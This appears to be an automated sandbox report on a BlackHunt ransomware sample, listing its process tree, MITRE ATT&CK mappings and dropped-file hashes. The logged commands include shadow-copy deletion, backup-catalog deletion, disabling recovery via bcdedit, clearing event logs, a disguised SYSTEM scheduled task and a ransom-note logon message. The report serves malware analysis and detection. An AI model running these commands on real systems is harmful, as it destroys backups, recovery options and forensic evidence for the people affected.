    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe" /F
  2⤵
  PID:2892
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:692
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1488
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1476
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1492
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1668
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    - Suspicious use of WriteProcessMemory
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2408
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:572
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1820
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:412
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1044
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3392
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3968
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3696
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3188
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3632
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3592
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3656
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3700
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3760
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4060
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4000
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3928
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2044
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4080
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3824
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:4024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:4040
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2884
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe"
  2⤵
  - Deletes itself
  PID:2384
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3788
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3480
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2036

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1832

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2800

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2044

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
38e0e2d8a1a8032246e3303e1a1d217b

SHA1
a223b6af72791ec45bc5aeb1ac95540755158a73

SHA256
44ac13f4bf509eecdbeab9ac06198bff9e7b1baf1096dcf963d789d700d838d8

SHA512
4f54355aecc45a7d6f3690ccf8799f5b56fb744e0155c75921a788ba85646774412c08e503facb05a10a34dec402f97482acf7679bafeaa0cf51b11072e185cf

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
a1e3457ea218a84b8c4e3a9e40cd8fdc

SHA1
a85b68358321c6762bec421f56cef2a70e36c3fc

SHA256
eefe8c5ced29e8be48d5edf726488bba404d327b6d704467c57728e32ab70176

SHA512
44e6b4944024c48dfef3562686b05b021a759f283d57bd2baa0592e74443937b5ef64e57eea7c3978be27a1000812840e65c812de89479f8fa0c9c6cb4e2a5f5

Download Submit
F:\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
11123d074268f506d0dbd9bc22593406

SHA1
5c981c41bae92b6c68cc59dc01832fd491654aa3

SHA256
52107b77e0bc092b50d8e42d7d71193c94fb079a1326a4f1676629c9a820918d

SHA512
a34b1dd8dec91ec67aa91ac85688908017107b9817a5a35e602b740911fc4931465abbcc71ad1dab66bda3f881dddd61ac2f94c53414a3967b0896ecee56f36e

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads